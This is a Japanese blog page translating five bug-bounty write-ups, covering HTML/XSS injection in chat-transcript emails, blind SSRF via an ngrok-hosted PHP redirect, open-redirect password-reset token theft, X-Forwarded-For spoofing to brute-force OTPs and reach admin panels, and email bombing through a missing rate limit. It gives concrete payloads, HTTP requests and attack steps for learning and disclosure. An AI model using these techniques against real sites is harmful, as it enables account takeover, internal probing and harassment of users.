shikata ga nai

Private? There is no such things.

Simple HTML Injection to $250を訳してみた

Hello there, ('ω')ノ

 

シンプルなHTMLインジェクションを。

 

脆弱性:

 HTMLインジェクション

 

記事:

 https://medium.com/@chaitanyarajhans024/simple-html-injection-to-250-895b760409ed

 

今回は、redacted.comであると仮定すると。

サイトは、大きなスコープを持っているもののスコープ内のみが対象で。

メインドメインをテストするときは。

サインアップ/サインイン、パスワードのリセットなどの主な機能を探さずに。

お問い合わせ、ニュースレター、サポートなどのエンドポイントを探すことに。

 

サイトをサーフィンしているときに、お問い合わせページに出くわして。

会社に連絡するためのオプションはたくさんあるものの。

そのうちの1つは、ライブチャットサポートで。

クリックするとチャットボックスが開いたので。

名前やメールアドレスなどの主要な情報を入力すると。

サポートチームと話すことができるチャットページに移動したので。

ランダムな単語をいくつか入力していると。

サポートとのチャットのコピーを取得するオプションがあることに気付いたので。

それをクリックしてチャットセッションを終了して。

 A copy of this chat is on its way to your email.

 

メールの受信トレイにアクセスして確認すると。

チャットの正確なコピーを取得していたので。

 

同じプロセスで、ランダムな単語の代わりにXSSペイロードを入力して。

受信トレイを開くと、一時的なメールサイトなのでトリガされたので。

 "><img src=x onerror=prompt(1)>

 

f:id:ThisIsOne:20210910173159p:plain

 

さらに、同じプロセスを実行することに。

今回はメールアドレスを入力し、下記の画像のペイロードを入力して。

 <img src=”https://test.com/mrbean.jpg">

 

受信トレイを開くと下記が表示されて。

 

f:id:ThisIsOne:20210910173228p:plain

 

影響:

攻撃者は誰かの電子メールを入力して。

悪意のあるリンクや不要なフィッシングなどを含む可能性のある。

この種のメールを送信できて。

攻撃者は写真を挿入して、電子メールが会社から直接送信されるので。

会社の評判を落とす可能性があって。

初心者にとって、このバグは大きなプログラムで。

多くのレポートで解決されているので。

メインドメインで、このバグを見つけるのは困難だったり。

 

Best regards, (^^ゞ

Blind SSRF in URL Validatorを訳してみた

Hello there, ('ω')ノ

 

URLバリデータのブラインドSSRFを。

 

脆弱性:

 ブラインドSSRF

 

記事:

 https://yasshk.medium.com/blind-ssrf-in-url-validator-93cbe7521c68

 

APIは常に100%適切に構成されているとは限らず。

今回は、ターゲットをcheems.comと呼ぶことに。


URLバリデータ:

アプリケーションには、フィードに何かを投稿する機能があって。

ここでは、閲覧可能なリンクも紹介できて。

投稿にリンクを貼り付けることができるTwitterと考えてみればよくて。

さて、Twitterはそのリンクと相互作用して検証するでしょうか。

同じ状況がここにあったのですが、HTTPの相互作用があって。

 

APIが、追加したリンクにリクエストを送信することを検証することに。

これは意図された機能であり、バグではなくて。

 

 POST /api/validate
 Host : cheems.com
 <Other Headers>

 url=http://ourlink.example.com

 

問題:

URLセクションで、localhost、127.0.0.1、169.254.169.254を使用して。

cheems.comからの肯定的な返信を期待することはできず。

169.254.169.254のさまざまなエンコーディングのペイロードを試したものの。

サーバからの肯定的な応答はなくて。

また、0.0.0.0:25(ポートスキャン用)のようなペイロードは機能せず。

 

解決策:

関連するリソースをインターネットでInfosecをローミングした後に。

SirLeeroyJenkinsから最近のレポートを見つけて。

これには、受信リクエストを別の宛先にリダイレクトするスクリプト(PHPなど)を。

ホストする攻撃者サーバが含まれていて。

NgrokとPHPを使用して独自のサーバをセットアップできて。


実際のブラインドSSRF:

 下記が問題を再現する方法で。

 着信リクエストをリダイレクトするPHPスクリプト「redir.php」を準備して。

  <?php header("Location: <http://127.0.0.1:443>");?>

 

自分のNgrokとPHPをセットアップ:

1.両方のコマンドが同じパスで実行されることに注意して。

 a)下記で、ngrokサーバを起動して。

  $ ngrok http 80#

 

 b)下記で、リクエストが受信されるとphpスクリプトが実行されて。

  $ PHP -S 127.0.0.1:80#

 

2.cheems.comに移動し、ngrokURLのスクリプトパスを追加して。

 

 POST /api/validate
 Host : cheems.com
 <Other Headers>

 url=http://uniqid.ngrok.io/script.php

 

3.リクエストを転送して。

 スクリプトに含めたポートが「443」であることに注意して。

 これにより、すばやく応答が返されて。

 cheems.comは、最初にhttp://uniqid.ngrok.io/script.phpにアクセスして。

 次にそれ自体にリダイレクトするので、443は開いているポートなので。

 応答が速くなっていて。

 

f:id:ThisIsOne:20210910134426p:plain

 

4.ここで、ポートを443から「54321」の潜在的に非アクティブなものに変更して。

 cheems.comがこのポートを検索し、接続を試みることに。

 リクエストを送信すると、遅延応答が返されて。

 

 その後、プロトコルをgopherに切り替えるなど、影響を大きくしようとしたものの。

 cheems.comはさまざまなフィルタで保護されているようで。

 

 これが、ブラインドSSRFをマークすることに成功した方法で。

 1つのプログラムに固執すると、最終的に何か面白いものが見つかるわけで。

 

Best regards, (^^ゞ

How I chained P4 To P2 [Open Redirection To Full Account Takeover]を訳してみた

Hello there, ('ω')ノ

 

完全なアカウント乗っ取りへのオープンリダイレクトを。

 

脆弱性:

 オープンリダイレクト

 アカウント乗っ取り

 

記事:

 https://infosecwriteups.com/how-i-chained-p4-to-p2-open-redirection-to-full-account-takeover-a28b09a94bf7

 

オープンリダイレクトについて:

無効化されたリダイレクトの脆弱性は。

ユーザが信頼できるWebサイトにあるリンクにアクセスしたときに。

攻撃者がユーザを信頼できないサイトにリダイレクトできる場合に発生して。

 

Portswigger Lab: https://portswigger.net/academy/labs/launch/67ab900d88bcd094478d14d157338de5bf87302c124c802219a8ef29a4a65e0f?referrer =%2fweb-security%2fdom-based%2fopen-redirection%2flab-dom-open-redirection

 

f:id:ThisIsOne:20210909173521p:plain

 

問題を再現する手順:

1.https://redacted.vulnsite.com/loginでログインして。

 次に[パスワードを忘れる]をクリックして。

 下記が、脆弱なWebサイトのUIで。

 

f:id:ThisIsOne:20210909172733p:plain

 

2.次に、Burp Suiteを開いてリクエストを傍受して。

 「パスワードを忘れた」をクリックすると。

 下記が、変更する前のHTTPリクエストで。

 

f:id:ThisIsOne:20210909172829p:plain

 

そして、被害者の電子メールを入力して。

そのリクエストをリピーターに送信して。

次に、リクエストを下記に変更して。

 {“redirectUrl”:”http://127.0.01/?reset-result={0}&reset-callback-uri={1}"}

 

ターミナルを開いて、下記のコマンドを実行してリクエストを受信すると。

 python3 -m HTTP. server 80

 

f:id:ThisIsOne:20210909172804p:plain

 

3.被害者としてリセットリンクを開いたときに下記へリダイレクトされて。

  http://127.0.01/Secret_reset_token

 

4.リセットリンクで得た応答を確認できて。

 下記をそのリセットリンクに置き換えるだけでパスワードをリセットできるので。

  {“redirectUrl”:”https://redacted.vulnsite.com/Secret_reset_token"}

 

 これで、完全なアカウントの乗っ取りにつながる新しいパスワードを設定できて。

 

いくつかのポイント:

    Vulnerability Disclosure Programでいくつかの方法論を学んで。

 それを有料ベースのプログラムに適用することをお勧めして。

 

 https://www.bugcrowd.com/glossary/vulnerability-disclosure-program-vdp/

 

f:id:ThisIsOne:20210909173226p:plain

 

 有料プログラムに移行すると。

 バグや重複が発生する可能性が低くなって、フラストレーションにつながるので。

 プラットフォームの理解に時間をかけるように。

 たとえば、チェックリストを作成して適用して。

 つまり、POSTをGETに変更することによるCSRFや。

 パスワードリセットページのSQLや。

 ヘッダを変更することによるホストヘッダインジェクションなど。

 

Best regards, (^^ゞ

OTP Bypass Account Takeover to Admin Panelを訳してみた

Hello there, ('ω')ノ

 

OTPバイパスアカウントの乗っ取りを管理パネルに。

 

脆弱性:

 OTPバイパス

 アカウントの乗っ取り

 

記事:

 https://logicbomb.medium.com/otp-bypass-account-takeover-to-admin-panel-ft-header-injection-16f2982a0136

 

ターゲットは、OTP認証が実装されたオンライン教育プラットフォームで。

OTPベースのログインがある場合は。

誰もが最初に頭に浮かぶのは「それをバイパスする方法」で。

最初にブルートフォースを試みたところ。

IPベースのレート制限が実装されていることがわかって。

つまり、クライアントIP、またはアップストリームサーバに提示されるIPを。

変更すると、OTPブルートフォースのレート制限をバイパスできるようになって。

 

クライアントがプロキシの背後にある場合は。

プロキシはクライアントのIPアドレスを特定のヘッダX-Forwarded-Forで。

サーバに転送して。

場合によっては、クライアントはこのヘッダを使用して。

自分のIPアドレスをスプーフィングできて。

 

f:id:ThisIsOne:20210909161608p:plain

 

ここで同じことを試すことに。

X-Forwarded-Forヘッダを挿入し、Intruderに渡して。

さまざまなIPアドレス($127.0.0.1$)を持つ。

特定の電話番号のブルートフォースOTP($1111$)を実行して。

Cluster bombをブルートフォース攻撃タイプとして設定して。

 

f:id:ThisIsOne:20210909161729p:plain

 

予想通り、OTPログインを成功させるために。

OTPをブルートフォース攻撃することができて。

 

次に、水平方向の特権昇格を実行することに。

ヘッダーインジェクションが存在することは明らかだったので。

IPアクセス制御、またはレート制限をバイパスする以外に。

ここで悪用できる他の可能性もあることも。

 

以前、WordPress管理者インターフェイスをクライアントのIPアドレスに基づいて。

内部IPのみに制限したことを思い出したので。

ここでそれがどのように機能するか。

 

したがって、許可された内部IPアドレスがヘッダ値に入力されると。

接続が実際にホワイトリストに登録されていないIPアドレスから発信された場合でも。

プロキシは、X-Forwareded-Forヘッダの値を転送して。

攻撃者が制限されたページにアクセスできるようにして。

またはAPIエンドポイント。

 

X-Forward-For: 127.0.0.1」ヘッダが設定されている場合は。

応答サーバは、内部IPによってアクセスされていると見なして。

ユーザが制限されたコンテンツにアクセスできるようにして。

 

ただ、このためには、そのような制限されたページを見つけることが必要で。

通常、管理ページ/パネル管理者/機密のエンドポイントは制限されていて。

下記のブログページで、WordPress管理者インターフェイスにアクセスすると。

200 OKが返ってきて。

 /wp-admin

 

f:id:ThisIsOne:20210909161757p:plain

 

ディレクトリのブルートフォース攻撃は時間の問題で。

IPベースで制限されているエンドポイントが他にあるかどうかを確認して。

そのようなエンドポイントを見つけるためにいくつかの有用なリソースを見つけて。

それらをBurpのIntruderで使用して。

 

https://github.com/ziadab/AdminBomber/blob/master/AdminBomber.py

 

f:id:ThisIsOne:20210909161857p:plain

 

https://github.com/s0md3v/Breacher/blob/master/paths.txt

 

f:id:ThisIsOne:20210909161920p:plain

 

すると、CMSのカタログには、200 OKを提供する下記の管理ページがあって。

水平方向の特権昇格に成功して。

 /cms/_admin/logon.php

 

f:id:ThisIsOne:20210909161820p:plain

 

可能な修正:

信頼できるプロキシとロードバランサーのIP(またはCIDR)のリストを。

指定できるようにして。

リクエストがいずれかからのものでない場合は、X-Forwarded-Forを破棄して。

 

Nginxの機能は下記のとおりで。

リスト(最後のエントリから開始)を確認し、各エントリをチェックして。

信頼できるプロキシのリストであるかどうかを確認して。

リストにないものが見つかった場合は、その前にあるものをすべて破棄して。

 

Best regards, (^^ゞ

$500 For No Rate Limit On Forgot Password Pageを訳してみた

Hello there, ('ω')ノ

 

パスワードを忘れた場合のレート制限なしで500ドルを。

 

脆弱性:

 レート制限の欠如

 パスワードリセットの欠陥

 

記事:

 https://bugbountyhunter.medium.com/500-for-no-rate-limit-on-forgot-password-page-d534d1d750db

 

レート制限について:

 レート制限アルゴリズムは、セッションキャッシュ内の情報に基づいて。

 ユーザセッション(またはIPアドレス)を制限する必要があるかどうかを。

 確認するために使用されて。

 クライアントが特定の時間枠内にあまりにも多くのリクエストを行った場合は。

 HTTPサーバは、ステータスコード429:Too ManyRequestsで応答できて。

 

問題を再現する手順:

ステップ1

 今回のターゲットのwww.example.comへアクセスして。

 メールアドレスを入力して、『パスワードを忘れた』をクリックして。

 

ステップ2

 このリクエストをBurpで、インターセプトして。

 リクエストで自分のIDを見つけるまでForwardして。

  (“email”;”your email here”)

 

POST /api/v1/users/password/remind HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/lost-password
Content-Type: application/json
X-CSRF-TOKEN: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Origin: https://example.com
Content-Length: 33
Connection: close
Cookie: __cfduid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

(“email”;”your email here”)

 

ステップ3

 BurpのIntruderに特に効果はないですが任意のペイロードを100回繰り返すような。

 リクエストを送信すると。

  Accept-Language: en-US,en;q=0.$5$

 

ステップ4

 受信トレイに200okのステータスコードと100以上のメールが届くのが確認できて。

 

大量のメールが発生していることを確認するように。

これは、ユーザへの電子メール爆撃はビジネスへに悪影響を及ぼすことに。

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain